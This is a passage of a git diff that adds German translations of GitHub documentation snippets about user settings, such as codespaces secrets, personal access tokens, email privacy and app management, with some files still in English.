+1. Wähle im Abschnitt „Zugriff“ in der Seitenleiste **{% octicon "report" aria-label="The report icon" %} Moderation** aus und klicke dann auf **Blockierte Benutzer**.
diff --git a/translations/de-DE/data/reusables/user-settings/classic-projects-api-classic-pat-only.md b/translations/de-DE/data/reusables/user-settings/classic-projects-api-classic-pat-only.md
new file mode 100644
index 0000000000..8cd5f6738d
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/classic-projects-api-classic-pat-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 79b8d08f58f355db77214565cc850e69cac4154b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106597"
+---
+{% ifversion pat-v2 %} {% note %}
+
+Die REST-API zum Verwalten von {% data variables.product.prodname_projects_v1 %} unterstützt ausschließlich die Authentifizierung mit einem {% data variables.product.pat_v1 %}. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/codespaces-secret-repository-access.md b/translations/de-DE/data/reusables/user-settings/codespaces-secret-repository-access.md
new file mode 100644
index 0000000000..55d3c99f82
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/codespaces-secret-repository-access.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3d0ddcbb03772e680390b0e666cd2d11df04bfd2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101431"
+---
+1. Wähle das Dropdownmenü „Repositoryzugriff“ aus, und klicke dann auf ein Repository, in dem du Zugriff auf das Geheimnis haben möchtest. Wiederhole dies für jedes Repository, in dem du Zugriff auf das Geheimnis haben möchtest. 
+  ![Dropdownmenü „Repositoryzugriff“](/assets/images/help/settings/codespaces-secret-repository-access-drop-down.png)
diff --git a/translations/de-DE/data/reusables/user-settings/codespaces-secret-value.md b/translations/de-DE/data/reusables/user-settings/codespaces-secret-value.md
new file mode 100644
index 0000000000..9fed2abe58
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/codespaces-secret-value.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e961824f3826a277eceaedbbe989668717691b94
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068988"
+---
+1. Gib unter „Wert“ den Wert deines Geheimnisses ein.
+  ![Textfeld „Wert“](/assets/images/help/settings/codespaces-secret-value-field.png)
diff --git a/translations/de-DE/data/reusables/user-settings/codespaces-tab.md b/translations/de-DE/data/reusables/user-settings/codespaces-tab.md
new file mode 100644
index 0000000000..9cce74e6f8
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/codespaces-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b6e2f7f298974788c1e4acd9e371451fe2a7b6d9
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145101428"
+---
+1. Klicke im Abschnitt „Code, Planung und Automatisierung“ der Seitenleiste auf **{% octicon "codespaces" aria-label="The codespaces icon" %} Codespaces**.
diff --git a/translations/de-DE/data/reusables/user-settings/confirm_git_email_address_correct.md b/translations/de-DE/data/reusables/user-settings/confirm_git_email_address_correct.md
new file mode 100644
index 0000000000..c0ec2ac9b2
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/confirm_git_email_address_correct.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 00b446e34b06a90597df4420a818b49bb95fb934
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876870"
+---
+Bestätige, dass Du die E-Mail-Adresse in Git richtig eingegeben hast:
diff --git a/translations/de-DE/data/reusables/user-settings/confirm_git_username_correct.md b/translations/de-DE/data/reusables/user-settings/confirm_git_username_correct.md
new file mode 100644
index 0000000000..17d434cb47
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/confirm_git_username_correct.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 48ec4fea48821c68f2dddb3cf18c13dbd27bf6d4
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145101424"
+---
+Bestätige, dass Du den Git-Benutzernamen richtig eingegeben hast:
diff --git a/translations/de-DE/data/reusables/user-settings/context_switcher.md b/translations/de-DE/data/reusables/user-settings/context_switcher.md
new file mode 100644
index 0000000000..6d53d461c0
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/context_switcher.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e98277d70c8c9ee5690a2a75e9cc1116bb08bbbe
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101420"
+---
+Du musst Abrechnungseinstellungen und kostenpflichtige Features für jedes deiner Konten separat verwalten. Du kannst mit dem Kontextumschalter, der sich auf jeder Einstellungsseite befindet, zwischen den Einstellungen für dein persönliches Konto, deine Organisationskonten und deine Unternehmenskonten wechseln. Weitere Informationen findest du unter [Wechseln zwischen Einstellungen für verschiedene Konten](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts).
diff --git a/translations/de-DE/data/reusables/user-settings/copilot-settings.md b/translations/de-DE/data/reusables/user-settings/copilot-settings.md
new file mode 100644
index 0000000000..eeed1595de
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/copilot-settings.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d8afd12a08948f51e766a9a67190db1c8d468ed7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080370"
+---
+1. Klicke auf der linken Seitenleiste auf **{% octicon "copilot" aria-label="The copilot icon" %} GitHub Copilot**.
diff --git a/translations/de-DE/data/reusables/user-settings/deleted-repos.md b/translations/de-DE/data/reusables/user-settings/deleted-repos.md
new file mode 100644
index 0000000000..a95b9ef45c
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/deleted-repos.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1e965e34cf48e789208684042f7357a0921154f8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101400"
+---
+1. Klicke unter „Repositorys“ auf **Gelöschte Repositorys**.
+   ![Registerkarte „Gelöschte Repositorys“](/assets/images/help/settings/deleted-repos.png)
diff --git a/translations/de-DE/data/reusables/user-settings/developer_settings.md b/translations/de-DE/data/reusables/user-settings/developer_settings.md
new file mode 100644
index 0000000000..ab9e416284
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/developer_settings.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the left sidebar, click **{% octicon "code" aria-label="The code icon" %} Developer settings**.
+{% else %} 
+1. In the left sidebar, click **Developer settings**.
+   ![Developer settings](/assets/images/help/settings/developer-settings.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/edit_marketplace_listing.md b/translations/de-DE/data/reusables/user-settings/edit_marketplace_listing.md
new file mode 100644
index 0000000000..c9bab1f1ce
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/edit_marketplace_listing.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2c05cb45fb10e833bcf059563dd1253d950fe6bd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101395"
+---
+5. Scrolle auf der Landing Page der App-Einstellungen nach unten zum Abschnitt „Marketplace“ und klicke auf **In Marketplace listen**. Wenn du bereits über einen Entwurf für ein Marketplace-Listing verfügst, klicke auf **Marketplace-Listing bearbeiten**. Der Abschnitt „Marketplace“ ist nur sichtbar, wenn du beim Registrieren deiner App festgelegt hast, dass sie von allen Benutzern oder Organisationen installiert werden darf.  Weitere Informationen findest du in der Liste der [Marketplace-Anforderungen](/apps/marketplace/creating-and-submitting-your-app-for-approval/requirements-for-listing-an-app-on-github-marketplace/).
+![Link zum Bearbeiten des GitHub Marketplace-Listings](/assets/images/marketplace/marketplace_edit_listing_text.png)
diff --git a/translations/de-DE/data/reusables/user-settings/emails.md b/translations/de-DE/data/reusables/user-settings/emails.md
new file mode 100644
index 0000000000..fc8b1d772d
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/emails.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Access" section of the sidebar, click **{% octicon "mail" aria-label="The mail icon" %} Emails**.
+{% else %}
+1. In the left sidebar, click **Emails**.
+![Emails tab](/assets/images/help/settings/settings-sidebar-emails.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/enabling-fixed-width-fonts.md b/translations/de-DE/data/reusables/user-settings/enabling-fixed-width-fonts.md
new file mode 100644
index 0000000000..e483fc88ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/enabling-fixed-width-fonts.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e5d63dde96f1d9248b78da4c7877f21fc19c2b53
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146180647"
+---
+{% ifversion fixed-width-font-gfm-fields %}
+
+Wenn du häufig Codeausschnitte und Tabellen bearbeitest, profitierst du möglicherweise von der Aktivierung einer Schriftart mit fester Breite in allen Kommentarfeldern auf {% data variables.product.product_name %}. Weitere Informationen findest du unter [Aktivieren von Schriftarten mit fester Breite im Editor](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github#enabling-fixed-width-fonts-in-the-editor).
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md b/translations/de-DE/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md
new file mode 100644
index 0000000000..4d8397122e
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/enterprise-admin-api-classic-pat-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 95d93f57219d115a855b50323820ae43aa37062c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107637"
+---
+{% ifversion pat-v2 %} {% note %}
+
+Die REST-API für Unternehmensadministratoren unterstützt nur die Authentifizierung mit einem {% data variables.product.pat_v1 %}. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/export-data.md b/translations/de-DE/data/reusables/user-settings/export-data.md
new file mode 100644
index 0000000000..97c41c69d3
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/export-data.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3728957f2b45d37dbc2cbd175176a450702c1848
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101391"
+---
+{% ifversion fpt or ghec %} Du kannst die Metadaten, die {% data variables.product.product_name %} über dein persönliches Konto speichert, exportieren und überprüfen.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/generate_new_token.md b/translations/de-DE/data/reusables/user-settings/generate_new_token.md
new file mode 100644
index 0000000000..e09ffd6857
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/generate_new_token.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f6c0501ff193ac2eac58fca54713ccfd2eb1eaaf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101388"
+---
+1. Klicken Sie auf **Neues Token generieren**.
+   ![Schaltfläche „Neues Token generieren“](/assets/images/help/settings/generate_new_token.png)
diff --git a/translations/de-DE/data/reusables/user-settings/generic-classic-pat-only.md b/translations/de-DE/data/reusables/user-settings/generic-classic-pat-only.md
new file mode 100644
index 0000000000..6d4913960f
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/generic-classic-pat-only.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 10ac7d5e73b168367752279f4ac9002cfbbc1240
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107429"
+---
+Du kannst nur ein {% data variables.product.pat_v1 %} verwenden, kein {% data variables.product.pat_v2 %}.
diff --git a/translations/de-DE/data/reusables/user-settings/github_apps.md b/translations/de-DE/data/reusables/user-settings/github_apps.md
new file mode 100644
index 0000000000..8e78941d90
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/github_apps.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2eab4b9b0d0162a8c14d350cfff5ce2efd9387b4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101387"
+---
+1. Klicke auf der linken Randleiste auf **GitHub-Apps**.
+![Abschnitt „GitHub-Apps“](/assets/images/settings/github_apps.png)
diff --git a/translations/de-DE/data/reusables/user-settings/github_apps_advanced.md b/translations/de-DE/data/reusables/user-settings/github_apps_advanced.md
new file mode 100644
index 0000000000..0784c705db
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/github_apps_advanced.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0d139aa0dbb5ea7142bb4e8eafd7523bd23b378e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101384"
+---
+1. Klicke auf der linken Seitenleiste auf **Advanced** (Erweitert).
+![Registerkarte „Erweitert“](/assets/images/github-apps/github_apps_advanced.png)
diff --git a/translations/de-DE/data/reusables/user-settings/graphql-classic-pat-only.md b/translations/de-DE/data/reusables/user-settings/graphql-classic-pat-only.md
new file mode 100644
index 0000000000..bbb2cda6ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/graphql-classic-pat-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 0d24339c6b0e123734b10ca2f0071da3802d8bab
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107645"
+---
+{% ifversion pat-v2 %} {% note %}
+
+Die GraphQL-API unterstützt nur die Authentifizierung mithilfe eines {% data variables.product.pat_v1 %}. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/imports-api-classic-pat-only.md b/translations/de-DE/data/reusables/user-settings/imports-api-classic-pat-only.md
new file mode 100644
index 0000000000..9b8a9912ff
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/imports-api-classic-pat-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 7c7968ece6425fd5798ac8cbb00f0730d08711e3
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106693"
+---
+{% ifversion pat-v2 %} {% note %}
+
+Die REST-API für Quellimporte unterstützt nur die Authentifizierung mit einem {% data variables.product.pat_v1 %}. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/jira_help_docs.md b/translations/de-DE/data/reusables/user-settings/jira_help_docs.md
new file mode 100644
index 0000000000..76c3985a70
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/jira_help_docs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: db2c426cd7b8a6ba65ff0353b1de7ab8c48a4c33
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147548080"
+---
+1. Verknüpfe Dein GitHub-Konto mit Jira. Weitere Informationen findest du in der [Hilfedokumentation von Atlassian](https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html).
diff --git a/translations/de-DE/data/reusables/user-settings/keeping_your_email_address_private.md b/translations/de-DE/data/reusables/user-settings/keeping_your_email_address_private.md
new file mode 100644
index 0000000000..b669120a04
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/keeping_your_email_address_private.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 104bedd7bcdc94a318bfefe05924762660ecefbd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104251"
+---
+5. Um deine E-Mail-Adresse bei webbasierten Git-Operationen privat zu halten, klicke auf **Meine E-Mail-Adressen privat halten**.
+![Abbildung des Kontrollkästchens zum Festlegen deiner E-Mail-Adresse als privat](/assets/images/help/settings/email_privacy.png)
diff --git a/translations/de-DE/data/reusables/user-settings/link_email_with_your_account.md b/translations/de-DE/data/reusables/user-settings/link_email_with_your_account.md
new file mode 100644
index 0000000000..a1fe007143
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/link_email_with_your_account.md
@@ -0,0 +1,3 @@
+{% ifversion not ghae %}
+Add the email address to your account on {% data variables.product.product_name %}, so that your commits are attributed to you and appear in your contributions graph. For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/marketplace_apps.md b/translations/de-DE/data/reusables/user-settings/marketplace_apps.md
new file mode 100644
index 0000000000..d9ae2c61be
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/marketplace_apps.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 79a66754d506f445d80a50fb1122bc635dd43143
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145106179"
+---
+{% ifversion fpt or ghec %}
+1. Klicke auf der linken Randleiste entweder auf **OAuth Apps** oder auf **GitHub Apps**, je nach dem {% data variables.product.prodname_marketplace %}-Listing, das du verwalten möchtest. **Hinweis**: Du kannst dein Listing auch verwalten, indem du zu https://github.com/marketplace/manage navigierst.
+![Auswahl des App-Typs](/assets/images/settings/apps_choose_app.png)
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/modify_github_app.md b/translations/de-DE/data/reusables/user-settings/modify_github_app.md
new file mode 100644
index 0000000000..159ec4be2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/modify_github_app.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5d7270768d8d4b1c57125a6f77e448bccc070110
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145106175"
+---
+1. Klicke rechts neben der {% data variables.product.prodname_github_app %}, die du ändern möchtest, auf **Bearbeiten**.
+![App-Auswahl](/assets/images/github-apps/github_apps_select-app.png)
diff --git a/translations/de-DE/data/reusables/user-settings/modify_oauth_app.md b/translations/de-DE/data/reusables/user-settings/modify_oauth_app.md
new file mode 100644
index 0000000000..edf317691f
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/modify_oauth_app.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0c93f5e82c252b73ce541f9935409ef192dcb596
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145106172"
+---
+1. Wähle die {% data variables.product.prodname_oauth_app %} aus, die du ändern möchtest.
+![App-Auswahl](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
diff --git a/translations/de-DE/data/reusables/user-settings/no-verification-disposable-emails.md b/translations/de-DE/data/reusables/user-settings/no-verification-disposable-emails.md
new file mode 100644
index 0000000000..f3ecfe7249
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/no-verification-disposable-emails.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6f1ea9dc8aab7063a1cf33e7422deb13d2051ddd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145106311"
+---
+Du kannst keine E-Mail-Adressen von Diensten für Wegwerf-E-Mail-Adressen überprüfen (dies sind Dienste, mit denen du E-Mails an einer temporären Adresse empfangen kannst, die nach einer bestimmten Zeit abläuft). Wenn deine E-Mail-Adresse privat bleiben soll, kannst du eine von {% data variables.product.prodname_dotcom %} bereitgestellte `noreply`-E-Mail-Adresse verwenden. Weitere Informationen findest du unter [Festlegen deiner Commit-E-Mail-Adresse auf {% data variables.product.prodname_dotcom %}](/articles/setting-your-commit-email-address#setting-your-commit-email-address-on-github).
diff --git a/translations/de-DE/data/reusables/user-settings/notifications-api-classic-pat-only.md b/translations/de-DE/data/reusables/user-settings/notifications-api-classic-pat-only.md
new file mode 100644
index 0000000000..ee21b4ab31
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/notifications-api-classic-pat-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 74aae765b109f5e5004dcd501c0194cd24787c15
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107141"
+---
+{% ifversion pat-v2 %} {% note %}
+
+Die REST-API zum Verwalten von Benachrichtigungen unterstützt nur die Authentifizierung mit einem {% data variables.product.pat_v1 %}. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/notifications.md b/translations/de-DE/data/reusables/user-settings/notifications.md
new file mode 100644
index 0000000000..7c66caaa2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/notifications.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4d6850e7a542cf8696fd769457f291f247a661b6
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145106171"
+---
+1. Klicke auf der Randleiste der Benutzereinstellungen auf **Benachrichtigungen**.
+![Mitteilungszentrale](/assets/images/help/settings/settings-sidebar-notifications.png)
diff --git a/translations/de-DE/data/reusables/user-settings/oauth_apps.md b/translations/de-DE/data/reusables/user-settings/oauth_apps.md
new file mode 100644
index 0000000000..552b71a4bb
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/oauth_apps.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 83e666efe7b1a38e21a4d0630e9cfff0477d34d0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145106168"
+---
+1. Klicke auf der linken Randleiste auf **{% data variables.product.prodname_oauth_apps %}** .
+![Abschnitt „OAuth-Apps“](/assets/images/help/settings/developer-settings-oauth-apps.png)
diff --git a/translations/de-DE/data/reusables/user-settings/organizations.md b/translations/de-DE/data/reusables/user-settings/organizations.md
new file mode 100644
index 0000000000..beceae5f16
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/organizations.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Access" section of the sidebar, click **{% octicon "organization" aria-label="The organization icon" %} Organizations**.
+{% else %}
+1. In your user settings sidebar, click **Organizations**.
+![User settings for organizations](/assets/images/help/settings/settings-user-orgs.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/password-authentication-deprecation-desktop.md b/translations/de-DE/data/reusables/user-settings/password-authentication-deprecation-desktop.md
new file mode 100644
index 0000000000..ee77b63db2
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/password-authentication-deprecation-desktop.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 83ecc7405569cca2d2072490b1e019b55b319b6d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066323"
+---
+  {% warning %}
+
+  **Warnung**: Das Authentifizieren bei {% data variables.product.prodname_dotcom %} mit Ihrem Benutzernamen und Kennwort wird nicht unterstützt. Stattdessen ist eine Authentifizierung mithilfe des Browsers erforderlich.
+
+  {% endwarning %}
diff --git a/translations/de-DE/data/reusables/user-settings/password-authentication-deprecation.md b/translations/de-DE/data/reusables/user-settings/password-authentication-deprecation.md
new file mode 100644
index 0000000000..3cb8481a53
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/password-authentication-deprecation.md
@@ -0,0 +1 @@
+When Git prompts you for your password, enter your {% data variables.product.pat_generic %}. Alternatively, you can use a credential helper like [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md).{% ifversion not ghae %} Password-based authentication for Git has been removed in favor of more secure authentication methods.{% endif %} For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
diff --git a/translations/de-DE/data/reusables/user-settings/pat-v2-beta.md b/translations/de-DE/data/reusables/user-settings/pat-v2-beta.md
new file mode 100644
index 0000000000..3de1ea4238
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/pat-v2-beta.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 81b9966c5d5217bb10224a79df2ab56b0579fc54
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107421"
+---
+{% data variables.product.pat_v2_caps %} befinden sich derzeit in der Betaphase, Änderungen vorbehalten. Informationen zum Hinterlassen von Feedback findest du in der [Feedbackdiskussion](https://github.com/community/community/discussions/36441).
diff --git a/translations/de-DE/data/reusables/user-settings/pat-v2-org-opt-in.md b/translations/de-DE/data/reusables/user-settings/pat-v2-org-opt-in.md
new file mode 100644
index 0000000000..c792bde27b
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/pat-v2-org-opt-in.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: cdcecb28e2d67d43c34a66c7d98f4e8ac686bc23
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106701"
+---
+{% note %}
+
+**Hinweis**: {% data reusables.user-settings.pat-v2-beta %}
+
+Während der Betaphase müssen Organisationen sich für {% data variables.product.pat_v2 %} entscheiden. {% ifversion ghec or ghes or ghae %}Wenn deine Organisation im Besitz eines Unternehmens ist, und das Unternehmen sich für {% data variables.product.pat_v2 %} entschieden hat, gilt dies standardmäßig auch für deine Organisation. {% endif %}Sollte sich deine Organisation noch nicht entschieden haben, wirst du beim Ausführen der unten angegebenen Schritte zur Entscheidung und zum Festlegen von Richtlinien aufgefordert.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/user-settings/patv2-filters.md b/translations/de-DE/data/reusables/user-settings/patv2-filters.md
new file mode 100644
